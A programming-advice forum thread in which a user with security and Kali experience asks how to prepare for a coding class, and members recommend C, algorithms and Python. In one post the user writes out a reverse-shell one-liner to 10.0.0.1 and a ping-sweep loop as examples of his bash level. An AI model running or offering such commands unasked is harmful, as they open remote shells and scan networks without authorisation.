Programmers of Geekhack, I need your help!

[Bromono]

Got my answers.

Removing my information and locking thread just for personal opsec.

Thank you guys!

 

[jdcarpe]

* Not a programmer myself, but... *

Start learning C right away. If you can learn the basics of C, you'll have no problem with any high level language.

You already have a good base for unix command line, if you're doing bash scripting.

[suicidal_orange]

Programming is programming, the words and syntax vary but the thinking behind it is basically the same - variables, loops, and logic (if X then Y else Z) are used, grouped in named functions which can call each other.

Can you post an example of one of your most complicated Bash scripts so we have a better idea what level you're at?

[Bromono]

* Not a programmer myself, but... *

Start learning C right away. If you can learn the basics of C, you'll have no problem with any high level language.

You already have a good base for unix command line, if you're doing bash scripting.

very basic bash scripting. stuff I have used with Kali for reverse shells and such, and I am googling that stuff most of the time.

[Bromono]

Programming is programming, the words and syntax vary but the thinking behind it is basically the same - variables, loops, and logic (if X then Y else Z) are used, grouped in named functions which can call each other.

Can you post an example of one of your most complicated Bash scripts so we have a better idea what level you're at?

Stuff like "bash -i & /dev/tcp/10.0.0.1/8080 0 &1"

nothing to in the weeds.

stuff like ping sweeps or fork bombs.

for x in {1..254..1};do ping -c 1 1.1.1.$x | grep "64 b" | cut -d" " -f4 ips.txt; done

[Oobly]

Most programming is at its heart all about event handling and program flow. With event handling you write functions that get called when something happens, with program flow you use loops and logic to compare things and control what happens next.

C is a great start, since it's quite close to what the processor is actually doing. Higher level languages do introduce stuff you don't see in C like objects, but having the basics of C first will give you a reference to understanding more abstract concepts.

[jbondeson]

It depends upon what kind of learner you are.

If you can keep your head down and self motivate well I'd go with Learn Python the Hard Way.

If you need something a little more entertaining you could try something like Code Combat

Personally I just picked up a C book and started chugging almost 20 years ago, but I learn well by just opening a book and rocking.

[GuilleAcoustic]

I'm a 35 years old développer with 13 years of experience. Here is my single and only advise: learn algorithmic ! If you have the time, learn object oriented principles. Do a complete abstraction of the language it will be coded in.

The most important in programming is the way you think and approach the problems. Coding is the last step and represents maybe 20 percent of the process, probably even less.

If you master algorithmic and have a good understanding of object oriented programming, then you'll be able to code in any available language in no time.

[Bromono]

Most programming is at its heart all about event handling and program flow. With event handling you write functions that get called when something happens, with program flow you use loops and logic to compare things and control what happens next.

C is a great start, since it's quite close to what the processor is actually doing. Higher level languages do introduce stuff you don't see in C like objects, but having the basics of C first will give you a reference to understanding more abstract concepts.

SO you are saying to understand the basics of how the computer talks to the processor. like stacks & frames, big endian small endian and such? I have some comprehension on how machine language works.

I'm a 35 years old développer with 13 years of experience. Here is my single and only advise: learn algorithmic ! If you have the time, learn object oriented principles. Do a complete abstraction of the language it will be coded in.

The most important in programming is the way you think and approach the problems. Coding is the last step and represents maybe 20 percent of the process, probably even less.

If you master algorithmic and have a good understanding of object oriented programming, then you'll be able to code in any available language in no time.

Sounds like good advice but I don't even know where to start doing that. that's where I am stuck....

[GuilleAcoustic]

http://www.goodreads.com/book/show/2378136.Algorithmics

[Bromono]

It depends upon what kind of learner you are.

If you can keep your head down and self motivate well I'd go with Learn Python the Hard Way.

If you need something a little more entertaining you could try something like Code Combat

Personally I just picked up a C book and started chugging almost 20 years ago, but I learn well by just opening a book and rocking.

I have seen the python one before. I might just bite the bullet and just grab a book on C, load a VM and chug away.

http://www.goodreads.com/book/show/2378136.Algorithmics

Thank you! I will read this. 

[jbondeson]

Most programming is at its heart all about event handling and program flow. With event handling you write functions that get called when something happens, with program flow you use loops and logic to compare things and control what happens next.

C is a great start, since it's quite close to what the processor is actually doing. Higher level languages do introduce stuff you don't see in C like objects, but having the basics of C first will give you a reference to understanding more abstract concepts.

SO you are saying to understand the basics of how the computer talks to the processor. like stacks & frames, big endian small endian and such? I have some comprehension on how machine language works.

That stuff certainly helps in more advanced scenarios, or if you were talking about learning over a much longer time period. Unfortunately I don't think that will help a ton in a fast paced class like you are talking about. Familiarizing yourself with basic programming language concepts will probably go a much longer way.  After you've done the class it would make sense to take a deeper dive into the fundamentals.

[Bromono]

Most programming is at its heart all about event handling and program flow. With event handling you write functions that get called when something happens, with program flow you use loops and logic to compare things and control what happens next.

C is a great start, since it's quite close to what the processor is actually doing. Higher level languages do introduce stuff you don't see in C like objects, but having the basics of C first will give you a reference to understanding more abstract concepts.

SO you are saying to understand the basics of how the computer talks to the processor. like stacks & frames, big endian small endian and such? I have some comprehension on how machine language works.

That stuff certainly helps in more advanced scenarios, or if you were talking about learning over a much longer time period. Unfortunately I don't think that will help a ton in a fast paced class like you are talking about. Familiarizing yourself with basic programming language concepts will probably go a much longer way.  After you've done the class it would make sense to take a deeper dive into the fundamentals.

Well I understand Machine Language because I had to understand how to reverse engineer virus and such. for example unpacking a virus and using a tool to look at the machine code and look for stacks that may have some information where the virus was trying to call back to some IRL.

But that most of the programming stuff just looked like a whole crap load of "if" statements and such. idk. I could just be over thinking the class. I just watch people create these immense programs with hundreds to thousands of pages of code and its intimidating to me.

[GuilleAcoustic]

Endianness is hardware dependant. It is a good thing to know it exists, but you'll hardly encounter a situation where it is a problem.

Focus on algorithm as a starting point. That's what we did at school and I thank God that I had such awesome teachers.